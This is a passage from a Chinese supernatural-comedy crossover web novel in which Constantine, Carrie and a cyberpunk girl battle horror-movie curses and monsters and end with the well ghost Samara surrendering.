一时间,康斯坦丁不知该对“一把年纪”表示愤慨,还是“没交过女朋友”表示抗议。
这两个短语也挺冒犯的。
而且他交过很多女朋友,好吗?
漂亮的,性、感的,开朗的,温柔的,会魔法的,会打架的……各种类型应有尽有。
只是至今为止,没有任何一个女人会举出卫生巾对他说话。
验、孕、棒倒是有几次。
“没有哪个女朋友会把我扯进女人的这种事里。”他小声嘟囔。
“那是她们的办法,不是我的。”卡喀亚搅着肉汤,像女巫搅着一锅魔药,“如果你有钱,可以去买些一次性卫生裤回来,我们都没想到嘉丽的流量还挺大的,卫生巾不够用。”
康斯坦丁竭力抗争。
他咒骂。
他哀嚎。
他卖惨。
他咆哮。
他指手画脚,四处乱走,用手势表达自己的愤慨……
——以上种种戏剧性的行为都发生在他的大脑里。
实际上,他所做的第一反应,是在听到卡喀亚的要求时,条件反射的“砰”的一声关上门,把两个女孩和什么“流量大”“卫生裤”之类辣耳的词都关进房子里。
……
听到关门声,嘉丽从枕头堆里抬起头,“他被我吓到了吗?”
“他怎么会被血吓到?他可是康斯坦丁。”
“康斯坦丁是谁?”
“我也不知道,但据他自己说,他很厉害,姑且就这么认为吧。我带着他只是因为他欠我钱。”
卡喀亚戴着隔热手套,单手拎着一锅热汤放在沙发前的茶几上,“吃吧。”
这招也是她在荒坂训练营学的。
当时,教官严肃的说,即便是流血受伤濒死的野兽,也会大口大口的吃肉,吃饱了才有力气痊愈。
必要的时候,人要把自己当野兽。
嘉丽坐起来,拿起锅里的大勺子,问:“他欠你多少?也是十亿?”
她觉得自己可能摸清卡喀亚的行动模式了。
卡喀亚正要说话,掉在沙发下面的手机响了起来。
她捡起手机,打开,里面闪烁着一条留言,点亮手机,里面录着的却是哐当哐当的噪音。
之后,她自己的声音传出来:“……你欠我十亿美金。”
嘉丽观察着,果不其然,卡喀亚点点头,合上手机,宣布:“会抢答的手机。有智能就能负债。你也是我的了。”
8.008
几乎是在卡喀亚说完话的瞬间,康斯坦丁又冲进门,大声问:“你们没接电话吧?”
他的视线落在卡喀亚手里的手机上,立刻明白发生了什么。
“这是个传播式诅咒。”他吟道。
他把一袋子卫生用品丢到嘉丽身边,好像晚一秒就会被传染不幸。
“真好奇你们既然没能力买这些,又哪来的钱买肉和锅。”他抱怨着。
同时,他心中有点微小的不寒而栗:这死孩子不会把后院里的尸体捞出来炖了吧?
她看起来像是会干这样任性妄为的事,可如果她真的这么做了,后果殆害无穷。
一般来说,堕入地狱的灵魂大多数都是冰海上受苦受虐的炮灰。
但也有少数的特殊灵魂可以通过学习进阶成恶魔、大恶魔、公爵乃至领主。
恶魔当然可以吃人,无论多么低等的恶魔都可以选择吃人。
可他们也都知道,一旦品尝过人肉,他们的品性就会往深渊里更加坠落,直到疯成没有神智、停止思考、只会索取血肉的恶鬼。
其效果比人类染上毒‘yin’更糟。
“我拿走了克莉丝手包里的钱,”卡喀亚说,“还有别的姑娘们的。”
“什么时候?”嘉丽正手忙脚乱的整理着袋子,闻言很吃惊。
“你背对着我穿衣服的时候。”卡喀亚耸肩。
康斯坦丁松了口气,嘉丽看向他。
“看我干什么?”康斯坦丁摊手,“我又不在乎这死孩子用什么手段获得的钱,底线是只要她没吃人就万事大吉。”
嘉丽:震惊脸.jpg
她生长在一个教会家庭里,接触的成年人除了妈妈和老师,就是牧师之类敬奉神明的人。
康斯坦丁是她见过的第一个底线如此之低的成年人。
“何况,我也从警局‘拿’了一份笔录。”毫无底线的成年人继续卑劣的粉碎嘉丽的世界观。
在后院的池塘里发现两具浮尸后,康斯坦丁在全镇走访调查可疑的事。
他很擅长打探消息,很快就获得了不少线索,根据这些线索,他拼凑出大概的故事。
“看看手机上留言的时间。”他说。
卡喀亚重新打开手机,手机上显示今天是五月二十四号,但留言却来自五月二十七号。
即是说,这是一条来自未来的她自己的留言。
……
康斯坦丁“拿”回来的笔录里记载,第一个死去的人名叫雪莉,是一家医院的实习生。
不久前,一场大火导致医院受损停业,她也只能在家待业。
她一定没想到自己会死在家里。
雪莉死后,她的好友琳在雪莉的葬礼上收到了一通手机留言,是去世的雪莉打来的。
琳不知道谁在用雪莉的手机,更不知道为什么留言的时间是在几天后,难道是手机的设置错误吗?
于是,她打开了留言,留言里是她自己的声音,她说:
“我不知道,这事实在是太诡异了,每次我一转身,就像……(极度恐惧的尖叫)”
琳对这通留言一头雾水,将它分享给另一个好友贝丝听。
在日后的案件记录里,贝丝也证明了当天留言里的的确是琳的声音。
在贝丝做笔录的时候,琳已经意外去世了。
笔录里,贝丝是这么说的:“雪莉的葬礼结束后,我和琳没有再遇到可疑的事。
“直到周一,也就是那通留言的古怪时间,我们在同一个班级里上课,上儿童心理学。
“我坐在第三排,琳坐在第六排,但我能感到她的目光正注视着我。
“我回头时,正好和她的视线对上,琳的目光躲闪着,似乎不敢看我。
“我觉得很不对劲,下课后,我立刻去找她,邀请她去咖啡馆。
“但琳只是告诉我,她必须去学校图书馆,因为下周她有论文要交。
“哦…分别前,她说,她最近的睡眠质量不好,精神状态很差,上课的时候,她看到许多幻觉,窗外飘着许多花瓣,操场上有一个正在燃烧的人,蜈蚣从我的衣服里爬出来。
“都是幻觉,是的。我身上没有蜈蚣,如果有,我会知道的,和我同桌的人也都没有看到,而且如果真的有人在操场上燃烧,不会只有她一个人看见。
“听到她说这些幻觉,我很担心,我告诉她,如果她愿意的话,晚上随时可以和我打电话谈心。”
也正是当天晚上,琳死了。
当时,她结束了图书馆的工作,走夜路回家。
因为太害怕,她给贝丝打了电话,一边聊天一边往回走。
她企图向贝丝描述自己的看到的诡异情况,但每次都停了下来,似乎有某种力量不让她说完。
贝丝只能听见她断断续续、语无伦次,似乎在躲避什么。
琳走上了天桥,站在天桥上,她对贝丝说:“我不知道,这事实在是太诡异了,每次我一转身,就像……”
她爆发出尖叫声。
而那天,现场对这件事有印象的人的证词都是,“什么也没有看到,只看见那个女人(琳)突然尖叫着从天桥上摔了下去”。
如果雪莉和琳的死仍不能说明什么的话,在琳死后,雪莉、贝丝和琳的共同好友布莱恩,也收到了来自未来的他自己的留言……
电话诅咒就这样流传着,每个接到未来留言的人都死于非命。
目前,布莱恩、当时调查这桩案件的警员,以及贝丝自己也都死于同样的诅咒。
只剩这叠笔录存放在警局里。
卡喀亚接到了这通电话,以诅咒的规律来看,她会在三天后说出留言里的内容,然后被诅咒杀死。
“三天后?”卡喀亚拧起眉头。
康斯坦丁点点头,说:“幸运的是,我们有三天时间破解诅咒。”
“太久了,”卡喀亚抗议,“时间就是生命,生命就是财富,三天?三小时!”
在他们争论时,嘉丽正在研究手机。
这是一部银黑配色的翻盖式按键手机。
对于生活在赛博世界的卡喀亚来说,它古早的像是有千年历史的、刚出土的历史文物。
她对考古没兴趣。
但在嘉丽的家庭里,就连电话,母亲也很少让她碰,她对这手机倒是感到很新奇。
刚才,她就在旁边观察卡喀亚操作手机,看了一会,自己也会了。
老式手机操作简单,她很快无师自通,打开了手机上自带的小游戏。
一时间,“叮叮当当”的小游戏音效响了起来。
另外两个人沉迷争执,也都没理会。
康斯坦丁举起双手,“wowwowwow,等等,如果你连三天都等不了,这屋里还有一盘七天生效的诅咒录像带需要解决,你不是更崩溃?”
“七天?”卡喀亚窒息了,如此浪费别人的生命,难怪它们会被称为恶魔,“很好,我现在就要看掉那盘录像带,还有什么诅咒媒介?一并引发吧。”
康斯坦丁的眼角抽搐着,“你的意思是,你要一次对付这么多看守恶魔?死孩子,这、这可不是闹着玩的!”
本来,康斯坦丁的意思是,既
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然卡喀亚先激发了电话诅咒,就先解决这个,然后再激发录像带诅咒……这样按顺序逐个击破。
——话说正常人都会这么安排吧?他在心中吐槽道。
卡喀亚最不愿的就是慢节奏,“我在赶时间,它们一起上。”
康斯坦丁怒道:“这种鬼事怎么能急?你精神有问题吗?”
此话一出,他有些后悔,怎么能对一个孩子这么急躁?
说到底,这孩子也就是初生牛犊不怕虎罢了。
他正想说些缓和气氛的话,抬头看见卡喀亚的表情,一时间一句话也说不出来。
卡喀亚的神情扭曲起来,像自带一股来自地狱九层的寒风,杀意令人战栗。
连嘉丽玩小游戏的音乐都轻了。
卡喀亚像是忽然换场成了《狂赌之渊》里的角色,顶着一张比鬼面更可怕的颜艺,逼近康斯坦丁问:“你说谁有赛博精神病?我吗?你在说我吗?”
康斯坦丁:???
喂!他是无意中踩到对方的底线了吗?画风大变啊!
千钧一发之际,他发挥了多年来在危机边缘大鹏展翅的灵活反应,斩钉截铁的答:“我都没听过这个词,这肯定不是我的意思。”
“嗯……”卡喀亚沉吟着,突然微微一笑,恢复正常状态,“也是。对不起,误会你了。”
康斯坦丁汗颜:“虽说小孩子确实是变脸比翻书快,但你这变的也太快太夸张了吧。”
卡喀亚微笑:“哎?有吗?你是不是也产生幻觉了?”
康斯坦丁擦了把汗:“总之,你绝对不能一次激发这么多恶魔,我可不愿意。”
卡喀亚抿起嘴,这时嘉丽插话道:“他的意思是…他是在关心你。”
“什——”康斯坦丁炸毛否认,“我只是不想死罢了,和你们不同,我可是个大活人!”
“你可以不掺和这件事,我一个人就行。”卡喀亚说,“这是我的战斗,你可以跑到安全地方。”
“胡说八道。”康斯坦丁抗议。
虽然他为人是渣了点,但还没有丢下过孩子不管的经历
——真的吗?
心中响起一道低低的声音,康斯坦丁一惊,心头涌起一片阴影。
“康斯坦丁,”卡喀亚认真的问,“你有斯德哥尔摩症吗?”
康斯坦丁回过神,皱眉问:“你在胡说什么?”
卡喀亚解释:“我是你的债主,按照常识,欠债者都巴不得债主赶紧死掉,好让债务一笔勾销;反而债主才希望欠债者好好活着,因为欠债者一旦死了,债务同样一笔勾销。即是说,欠债如你只有活着才能用余生还欠我的钱。”
她拍了拍康斯坦丁的风衣,“所以,你只要好好活着就是帮了我大忙了。同样的,你应该咒我死掉,否则你就是斯德哥尔摩症确诊,‘欠债担心债主’和‘上班担心老板’有什么区别?”
康斯坦丁:……
这都哪来的歪理?
沉默三秒后,他露出欠欠的笑,“所以,你要带我躺赢?”
“对,”卡喀亚走向电视,“你们躺着,我来赢。”
……
卡喀亚一边倍速看完“七天诅咒录像带”,一边在鬼镜前点燃两支蜡烛喊三遍“血腥玛丽”的名字,同时疏通浴缸砸坏玩偶把血涂到搜出来的古书上……
她在这屋子里做了所有能够触发不同诅咒的事,宛如比格拆家。
“没有什么遗漏了吧?”做完这一切,她追问。
康斯坦丁:……
救命!别说躺赢,他都害怕自己要跟着一起躺板出殡了。
9.009
康斯坦丁和嘉丽被卡喀亚强硬的赶出来,只能住进隔壁的房子里。
隔壁房子就是嘉丽早上出来的地方,是嘉丽的家,也是康斯坦丁被浇一身水的地方。
只不过,白天泼水的老妇——也就是嘉丽的母亲——已经是一具放置在阁楼上的干尸。
嘉丽的意识可以操纵母亲保持生前的行为举止。
现在,她解除了这种病态的操纵,只顾着玩手机小游戏。
透过窗户,他们可以看见外面阴风阵阵,天空黑的伸手不见五指。
在卡喀亚所在的房子的屋顶上空,无数黑云流动着,卷成了巨大的骷髅头形状,像是要一口吞掉小屋。
嘉丽容易焦虑,一焦虑起来,手机游戏也玩不下去了,“她不会被恶魔吞掉吧?”
在地狱里,灵魂不可能死两次,在诡域中一旦死去,便会被力场同化“吃掉”,成为滋养诡域主人的养料。
“应该不会…”
康斯坦丁心中也没底,但那死孩子坚持赶他出来,他也只能静观其变。
……
卡喀亚独自坐在客厅里,康斯坦丁和嘉丽被她赶出去,茶几上的汤锅也被移走。
现在,桌面上只放着一排被当做武器的工具:
在厨房里找到的菜刀和剁骨刀,在后院搜到的砍柴刀和长柄斧头,还有一些零零碎碎的小物件。
虽然她有一把左轮手枪,但武器终归是越多越好。
而且,在没有义体加持的情况下,她也需要实验哪种武器更顺手。
她把左轮手枪别在腰后,静静地等着怪物上门。
按照康斯坦丁的说法,卡喀亚一次惹到的怪物可不少,那些怪物一定会上门把她撕碎。
而卡喀亚则认为,这正是她摸清地狱恶魔们的实力和自己的实力的好机会。
午夜降临,不知何处有钟声响起,足足敲了十二下,壁炉里传出窸窸窣窣的声音。
卡喀亚伸手捉刀时,一支飞行生物组成的队伍从壁炉中飞出来,发出刺耳的尖叫,直朝她扑来。
‘地狱小牙仙’。
牙仙原本是讲给孩子听的故事:
当小孩掉落乳牙后,将乳牙放在枕头下面,夜晚来临,牙仙就会上门取走枕头底下的牙齿,作为交换,小孩会长出恒齿,成为大人。
但地狱小牙仙是一种生长在黑暗森林里的、并不友好的古老生物。
它们有着类似人类的五官,嘴巴极大,露出两排血淋淋的牙齿和两颗醒目的门牙,两只昆虫般的翅膀能让它们以极高的速度飞行。
地狱小牙仙总是成群结队的行动,它们身体灵活,细长的爪子可以将捉到的一切生物刮伤,异常坚硬的牙齿和咬合力能撕破任何东西的表皮。
一旦盯住攻击目标,它们将会非常难缠,像一群吃人的蚊子,盘旋在攻击目标周围连啃带咬,与此同时,难听的尖叫声也会不绝于耳,给攻击目标造成精神打击。
曾经在驱魔的时候,康斯坦丁见到有恶魔放出地狱小牙仙,它们如蝗虫过境,以极快的速度转瞬间撕碎四十七个灵魂。
但在卡喀亚眼中,地狱小牙仙是以一种放慢五倍的速度飞来。
她从茶几上抄起打扫卫生用的抹布,一卷一拢,将小牙仙们一只不漏的包裹起来,单手揉成一团。
毛巾里发出宛如捏碎昆虫的清脆爆裂声,吱吱嘎嘎,她犹不放心,用打火机将抹布团点燃,扔回壁炉里。
火焰在壁炉里“嗖”的一声升腾起来,却是发出冰冷的蓝光,像是一个开战讯号,客厅的玻璃同时被来自外部的冲击震碎,两只怪物破墙而入。
它们的上半身反常的发达,看上去与腿部非常不协调,像是坦克一样撞碎了屋子的墙壁,抓起沙发、掰断墙壁,狠狠砸向卡喀亚的脑袋。
在地狱里,这怪物被称作“坦克”,身高三米通体黝黑,看上去总是处于愤怒的状态,它们能直接举起车辆,甚至撕开混凝土地面到处乱砸。
与人们的传统理解“庞然大物一定行动缓慢”不同,尽管坦克们的体型硕大,但非常敏捷,会像银背大猩猩一样前肢半握拳,以指关节支撑身体前行,疯狂追赶被攻击的目标。
卡喀亚翻身躲开砸向她的东西,抓起茶几上的柴刀劈向坦克的咽喉,长刀竟被震的断成两截。
同时,坦克的拳头已向她袭来,卡喀亚向后仰,将身体反向折成一个几乎要从腰部断开的角度,才将将避开坦克的重击。
她双脚向下一蹬地板,身体向后滑行一段路,与坦克拉开距离,茶几早已被砸碎,她从地上的残骸里抓起长柄斧头,一个旋身躲开坦克的扑抓。
随着她的躲开,坦克的扑抓落在地面上,直接在地板上留下一个印着清晰五指的深坑。
在坦克的扑抓撕裂地板时,卡喀亚挥起斧头,一斧头砍向它的后颈,斧头直接卡在坦克的脖子里,一时间竟难以拔出。
被砍中的坦克发出震耳欲聋的嚎叫声,另一只坦克也嚎叫着,搬起立柜砸向卡喀亚,千钧一发之际,卡喀亚终于拔出斧头,反手砍碎了立柜。
如果被两只坦克攻击还不算特别危险的话,从天花板上忽然袭来的长舌让她的处境雪上加霜。
这长舌滴答着黑色的黏液向卡喀亚卷来,这些黏液腐臭难闻,冒着青色的毒烟,无论落在哪里,都会在那里留下一个滋滋作响的、烧焦的黑洞。
并且这黏液非常厚实,形成了保护膜,卡喀亚的斧头在舌头上砍去,只刮下来一片剧毒黏液,舌头本身毫无损伤。
这长舌怪物在地狱里被叫做“烟鬼”。
从外表看,烟鬼不像怪物,更像是皮肤苍白、癌症晚期的男人,只是嘴巴周围焦黑一片,脸上长满了恶心的肿瘤。
烟鬼舌头的射程长达上百米远,精准度极高。
它们喜欢狡猾的躲在屋顶上或树上等任何高处,出其不意的向攻击目标吐出舌头,将目标紧紧缠绕后,拖到面前,再重拳出击、疯狂殴打。
斧头即将被毒液腐蚀,卡喀亚已经做出判断,沾满毒液的斧头转了个方向,砍向背后袭来的坦克的巨爪。
这次终于起了效果,在斧头碎裂的同时,滋滋冒烟的毒液也渗入了坦克的伤口,怪物粗壮的胳膊掉了下来。
在震耳欲聋的嚎叫声中,卡喀亚一个箭步飞跃跳起,落到坦克颤抖起伏的背上。
坦克的身体大幅度抖动晃动,想要把身上的小东西甩下去,卡喀亚一路向上跑,有几次她的身体都危险的倾倒,但仍没有
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摔下去。
直到抵达坦克受伤的肩膀,她将斧头剩下的木头长柄深深的刺进坦克的伤口里。
随后,她抓住被固定住的长柄,跳下坦克的肩膀,任由身体在空中悠荡,滑成一个大大的半弧形。
倾斜着落地的同时,她借着强大的惯性一脚踢向坦克的断肢,将它精准的踢进烟鬼的嘴里,刺穿了烟鬼的口腔。
从系统那里贷款来的普通身体,没有她生前被改造过的身体那般自如好用。
只是解决掉两个怪物,一连串的大动作便令她像是刚从水里捞出来一样大汗淋漓,更是差点乱了呼吸。
''还有一只……''
卡喀亚一边思考着如何对付剩下的那只坦克,一边落在地上,她的鞋子踩到了地上的碎玻璃,几片碎玻璃上同时闪过一张女人的脸。
顿时,卡喀亚不能动了,数股无形的力量以玻璃片为媒介涌出来,死死摁住了她的脚。
是“血腥玛丽”。
它的起源来自这么一则恐怖故事:
千万不要对着镜子说三遍“血腥玛丽”,如果有人非要试试,那么名为“血腥玛丽”的恶灵便会出现在镜子里,将此人玩弄、折磨致死。
窗户虽然不是镜子,但也是玻璃,血腥玛丽以此为媒介,控制住了卡喀亚的脚,让她无法移动。
剩下的那只坦克丝毫没有错过机会,抓起地上烟鬼那仍布满毒液的尸体,朝卡喀亚砸过来。
在卡喀亚意识到地上的玻璃片有问题时,她已经张开嘴,吐出早已含在嘴里几枚钉子。
因为一直含着钉子做预备型的防身武器,在战斗时,她的呼吸绝不能乱。
受到惊吓或做大动作时,人不免会进行错误的吞咽或呼吸,如果这样,那么钉子会先扎穿她自己的脸颊或咽喉。
但卡喀亚自信她的呼吸不会乱。
现在,钉子派上了用场,她喷出钉子,它们像三支吹箭一样刺在玻璃片上,瞬间粉碎了血腥玛丽的力量媒介。
她的脚解脱了,但没有惯性的力道无法让她将烟鬼尸体踢回给坦克,她终于掏出左轮手枪,朝着目标稳定且迅速的开了一枪。
这一枚能对灵魂造成伤害的子弹,不仅毫无偏差的粉碎了烟鬼的尸体,更是穿透了坦克的头颅。一箭双雕。
站在四面漏风、仿佛被飓风虐待过的客厅里,卡喀亚把枪重新别在后腰上,甩了甩耗尽力气后麻木的手,再抬手抹掉粘在睫毛和额发上的汗珠,缓缓吐出一口气。
这就是诡域里的战斗。
‘真有意思。’
她心中飞快的盘算着刚才的战斗得到的经验:
她的身体很脆弱,只能借力打力,但不能永远这么被动,她仍然需要“升级”。
除了枪,她应该再找一把趁手的武器。
……
屋子已经烂成这样,卡喀亚打开门,去隔壁找另外两个人。
她还得揪出手机恶魔和录像带恶魔。
当她走到半路,康斯坦丁从窗户里探出头喊:“手机…我们被缠上了!”
卡喀亚:???
居然敢单独跑来纠缠她的债务人?
岂有此理!这和直接把手伸进她的银行账户里有什么区别?
10.010
嘉丽沉在井水里,她听到康斯坦丁说…
事实上,康斯坦丁还能说什么?
除了和卡喀亚讲述他们遇到的蠢事,喵的,康斯坦丁还能说什么?
嘉丽也不知道自己怎么就把“手机恶魔”惹恼了,现在想想,简直是不可思议。
事发当时,嘉丽正在玩手机小游戏。
之前卡喀亚说过,手机恶魔提供的诅咒手机非常过时,是翻盖和按键的
——要知道在赛博世界,连棺材都不是翻盖的。
这也意味着手机上自带的小游戏是最简单的“推箱子”。
就是在有限的空间内,把箱子平移或上滑,推到指定位置的益智游戏。
每过一关,障碍物越复杂。
嘉丽从来不是头脑灵活的高中生,每一次推箱子,她都要花很长时间思考。
这么磕磕绊绊的过了五还是六关后,难度升级的同时,她发现,箱子居然会自己调整位置。
有时候,嘉丽将它推到经过她深思熟虑的位置上,只要她停下来,箱子就会自动推到另一个她完全没想过的位置上。
嘉丽只好再把箱子推回去。
箱子又自动跑掉,好像它有自己的想法…
一次就算了,次次如此。
嘉丽只得愤怒的拍打手机,像电视接触不良的时候,人们会在电视机的后背上拍一把。
“蠢手机,不要移动我的位置…”
令她没想到的是,手机铃声响起来了。
康斯坦丁“嗖”的跳起来,盯着手机,警惕的问:“怎么回事?你也被盯上了?”
“不知道。”嘉丽摇摇头。
“那就别接。”康斯坦丁说,“让它响。”
铃声一声声的响着,直到完全安静下来。
康斯坦丁松了口气。
嘉丽皱起眉,感到一股意识操纵在控制她的手向键盘上按,“它在强迫我接听电话。”
“我屮!”康斯坦丁骂了一声,“把它泡到水里怎么样?这种垃圾货遇水就坏。”
话音未落,手机又响了。
仿佛是为了回敬骂它“垃圾”的人,这一声声铃声响的铿锵有力,像是十个女高音在屋里唱《夜后咏叹调》。
嘉丽冷哼一声,用自己的意识操纵能力和这股无形的力量搏斗。
她和手机恶魔拉扯着意识力量,直到第三股力量干预进来,摁下了手机接听键。
留言里传来一个女孩尖利的声音:“蠢货!你连推箱子都不会玩吗?你推到的都是什么鬼地方?那里过不去啊,你自己看不出来吗!?”
康斯坦丁目瞪口呆。
而嘉丽可以保证,留言里的绝对不是她的声音。
但手机恶魔完全不讲武德,竟强行判定诅咒条件达成,回过神来,嘉丽已经通过手机,落入了这口井里。
井水完全没过了她的脸,她的鼻子和嘴咕噜咕噜的冒着泡,感到了溺水和缺氧的痛苦。
“我要消失了……救我……”
她可以通过手机屏幕,听见康斯坦丁和卡喀亚在说什么,他们在说:
“那没事了,”卡喀亚说,“嘉丽很强,她只是特别沉迷扮猪吃老虎的经典桥段。”
康斯坦丁:“啊?”
嘉丽吐着大小不一的泡泡,一脸懵逼:“000ooo00oo……?”
“就是先装弱后打脸,”卡喀亚淡定的说,“等她装过瘾了,她就会发挥完全的实力打倒它们。”
嘉丽一边吐着泡泡,一边试图大喊:“000OOOOnoooo……”
根本不是!
她没有装弱!
她真的快要寄了喂!
“这样啊…”
康斯坦丁竟然信了,他信了,真的假的?嘉丽愤怒的想。
总之康斯坦丁也淡定下来,点了一支烟,“恶魔的兴趣真是奇怪,我认识的恶魔也有各种怪癖。”
“比如呢?”卡喀亚饶有兴趣的问。
嘉丽:“00ooowe咕噜咕噜……”
认真的吗?!
她还泡在水里,被整的生死不能,他俩居然一边看着,一边没话找话的聊起来了?
无数黑色的小手从井水中伸出抚摸她的身体,将她死死的拉进水里,防止她漂浮或游动起来。
女孩的声音在她耳边唱歌似的轻哼:“现在你明白我的感受了…你明白我的感受了…杀死他们吧…杀死他们吧…”
这些声音层层叠叠,像是好几个魔鬼重叠在一起说话。
“我明白你的感受了,”嘉丽痛苦的想,“我看他们就像你看我玩推箱子一样。但是我必须说,推个箱子而已,根本不值得你大动肝火。”
永不停息的怨念声顿住了,像是为嘉丽的理解力所震惊。
嘉丽能够感受到这扭曲的沉寂下不断发酵的怒火,她很熟悉怒火,对方像她在舞会上最闪耀的一刻时被泼了一桶猪血一样勃然大怒。
这时,她听见卡喀亚的催促声:“嘉丽,让我过去解决一切吧,你的前摇实在太长了!”
卡喀亚很想尊重嘉丽“扮猪吃老虎”的兴趣。
真的,每个人都应该有自己的爱好,并享有不受外界打扰的权力。
但她等的很不耐烦。
‘她终于明白要来救我了。’嘉丽激动的想。
老实说,她根本不知道怎么让卡喀亚“过来”,她都不知道自己是怎么过来的。
但她不知不觉松了口气,因为卡喀亚终于领悟到要来救她,而不是在外面干看着。
她敏锐的感觉到,浸泡着她的井水沸腾起来。
水中的黑手们跃跃欲动,狠狠地拉扯着她的皮肤,无数声音吵吵闹闹,交织重叠,“她来救你…她凭什么来救你…你凭什么被救…你连推箱子都不会…愚蠢…愚蠢…愚蠢…”
嘉丽被这些黑手拉扯的很痛苦,不禁火冒三丈,她是魔女,越是愤怒,越是强大,越是可以通过第六感去完成她本以为做不到的事。
她清晰的感受到了手机恶魔的力量流向,像是看清了树叶上伸展的脉络,她的意识操纵顺着其中一条脉络攀爬,在这股力量走向的尽头,是卡喀亚在不耐烦的敲着手机屏幕。
她的意识抓住了卡喀亚的手,操纵——操纵——意识转移——
“不许!不许!”
黑手们揪着她,掐着她,想尽办法用痛苦干扰她,但她做到了。
嘉丽水淋淋的出现在康斯坦丁面前,而卡喀亚不见了。
康斯坦丁:……
“那个死孩子呢?”
“被我交换了,她在井里。”
“哦,你卖队友卖的这么快啊。”
嘉丽:……
卡喀亚沉入井水中,感到彻骨的寒意,嘉丽的意识操纵能力完全爆发时极为强大,不仅直接将她送进了女鬼怀里,更是让女鬼的记忆像短视频一样在她面前打开:“注意看,这个女孩叫瑟姆拉……”
手机恶魔和电视恶魔是同一个。
她的名字是瑟姆拉。
她出生后,医院起了一场大火,父母均葬身火海,她也被送进了孤儿院。
十岁那年,她被一对多年没有孩子的夫妇领养了。
这对夫妇住在农场里,农场在一座岛上,他们常年养马,种地,也把瑟姆拉当他们的孩子一样抚养。
直到那位妻子突然怀孕。
夫妻俩又惊又喜,他们早已认定自己没有生育能力,否则不会选择去孤儿院领养。
怀孕后,丈夫全心照顾妻子,妻子全心照顾肚子里的孩子,瑟姆拉完全被遗忘。
随着时间推移,她越发能看到孩子出生后,她被全家当做“透明人”的可怕景象。
也就是那一夜,马厩里马匹的嘶鸣声将瑟姆拉从被抛弃的噩梦里惊醒,她无意识的爆发了自己的能力,马厩里的马撞破围栏跳进海里。
谁也没想到会有这样的事。
妻子认定这件事和瑟姆拉有关,也许怀孕的人会更加敏感吧,她相信瑟姆拉既然有迫害马的能力,也会有迫害婴儿的能力。
夫妻俩把瑟姆拉送进精神病院,接受药物治疗。
孩子出生后,他们收到了精神病院的通知,病院失火需要修整,没有能力再照顾这么多病人。
瑟姆拉被接了回来。
在车上,夫妻俩对她尴尬的笑着,谁也不愿意第一个开口。
在精神病院里,瑟姆拉向很多病人那样很快的学会了伪装,她对夫妻俩微笑,主动和他们打招呼,正常的不得了。
她又被送进了阁楼。
屋外的海浪声和马厩里的嘶鸣声依旧在夜里打扰她的睡眠,白天,她要学着和夫妻俩以及那个新生儿相处。
第一次完全是个意外。
那个小男孩太调皮了,踩进泥坑里,被刮伤了,瑟姆拉为他拿来了酒精和棉棒,路过的邻居夸她干得好。
这多少给了她一点启发,事实上,这件事给了她许多灵感。
为了让自己在这个家里显得“特别有用”,她开始动用能力悄悄让夫妻俩的小孩受伤,再及时出现,向他提供帮助。
她引导着小男孩跌进草丛里,被蝎子蛰到,被昆虫咬伤,被窗框上翘起的钉子刮伤,被树根绊倒,错把杀虫剂抹到眼睛上……
她越来越有用了。
但小男孩的母亲变得越来越烦恼,总是小心翼翼的观察她,偶尔在她拿什么东西时,还会歇斯底里的冲出来。
瑟姆拉早该知道的,做母
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亲的都有一种本事,即“感知孩子身边危险的能力”。
她偷听到夫妻的聊天声,得知曾经上门和她谈话的“老师”其实是心理医生。
心理医生的结论是,她患了“代理性孟乔森氏症候群”,简单来说,就是她企图通过照顾受伤的人来展现自己的善良和责任感。
哈哈,庸医。
也就是第三天,母亲破天荒独自带着她去树林里玩,她们越走越远,来到一口井边。
母亲说,这是一口幸运井,把钱币丢进井里,就可以实现一个愿望。
母亲说,钱币落在幸运井里会发光,就像天上的星星一样。
瑟姆拉在母亲的指点下低头往井里看,她没有看到闪闪发光的硬币,但感到背后被人重重的推了一把。
她掉进了井里。
她的身体泡在水里,脸朝上看着头顶上忽然狭小的天空。
她看到一块大石头被母亲搬着,压住了井口。
这次,没人来接她了。
没有人救她……
没有人来救她……
这么多年,她就在这里,她的母亲知道的,但谁也没有来救她……
……
卡喀亚用力撞破无数记忆、用蛮力撕碎无数袭来的黑手,最终摔进水里。
翻了个身,她浮在水上,吐了口气。
“你啊……”她慢慢的说,“你自己是能出去的,对吧?既然能出去,为什么还要等人来救?你知道多少被困住的人会羡慕你的能力吗?”
通过意识,她努力传递给瑟姆拉一个画面:
当她在荒坂训练营里看着一方天空动弹不得时,她获得了瑟姆拉的能力,该是多么痛快的事。
届时,整个北海道都将化作火海,她非把那些教官、那些学员、所有人当玩偶操纵起来不可。
“外面…没有我的地方,他们不需要我…”
“傻啊,你这么强,只要选中一个宏大的目标,自然会有一群人被吸引过来跟随你。”
卡喀亚说,“然后,你获得了选择权。前半生,你不能选择和谁一起生活,只能被父母挑选,但后半生,你也可以像他们一样,要不要谁不过是一句话的事。”
瑟姆拉沉默。
卡喀亚伸直手臂,将枪口直直的瞄准堵在井口上的大石,平静的说:“然后你会发现,无论是井里看到的天空,阁楼上看到的天空,还是教室里看到的天空,都是多么小啊。”
这是她永远不服的底气,她总相信…即便落进地狱第九层,她也相信…不,她完全知道,外面就是有个更广阔的世界在等着。
她要做的是,不断地变强,直到强到可以打碎所有的枷锁。
她开枪了。
这一枪看似瞄准的是巨石,但子弹对物质没有用,它只会重创灵魂,它打的其实是以井为核心的瑟姆拉本体。
强烈的痛苦几乎撕裂了瑟姆拉的灵魂,井水沸腾着,黑手们不甘愿憋死在井底,争先恐后的沿着岩壁不断攀岩,冲破了井口上的巨石,瑟姆拉的力量向四面八方炸开,如同一枚榴弹,巨大的冲击不仅将卡喀亚撞出了手机屏幕,更是以井口为中心掀飞了整块土地。
在嘉丽和康斯坦丁一晃眼的功夫,卡喀亚也水淋淋的回来了。
不仅如此,屏幕里喷出大量的井水,瑟姆拉也顺着水冲了出来,狼狈的落在地板上,咳嗽着,抓着地板。
康斯坦丁立刻一个虎式猛扑,躲在沙发后面。
嘉丽的头发炸开,眼睛翻着白,用意识保护自己。
卡喀亚调转枪口对准她的脑袋。
瑟姆拉狼狈的抹着脸上的水,断断续续的说:“不打了,我…我投降了…”
康斯坦丁从沙发后冒出头,嘉丽的头发放了下来,卡喀亚歪着脑袋。
他们异口同声的说:“啊——?”
“我说我投降了,你个疯子!”瑟姆拉跺着脚对卡喀亚喊,“你的输出太疼了。我不干了!”
康斯坦丁问:“那路西法……”
“地狱之王只是把我留在这守着,”瑟姆拉不耐烦的甩着湿漉漉的头发,“又没让我给他卖命!我只是看守,凭什么让我卖命?”
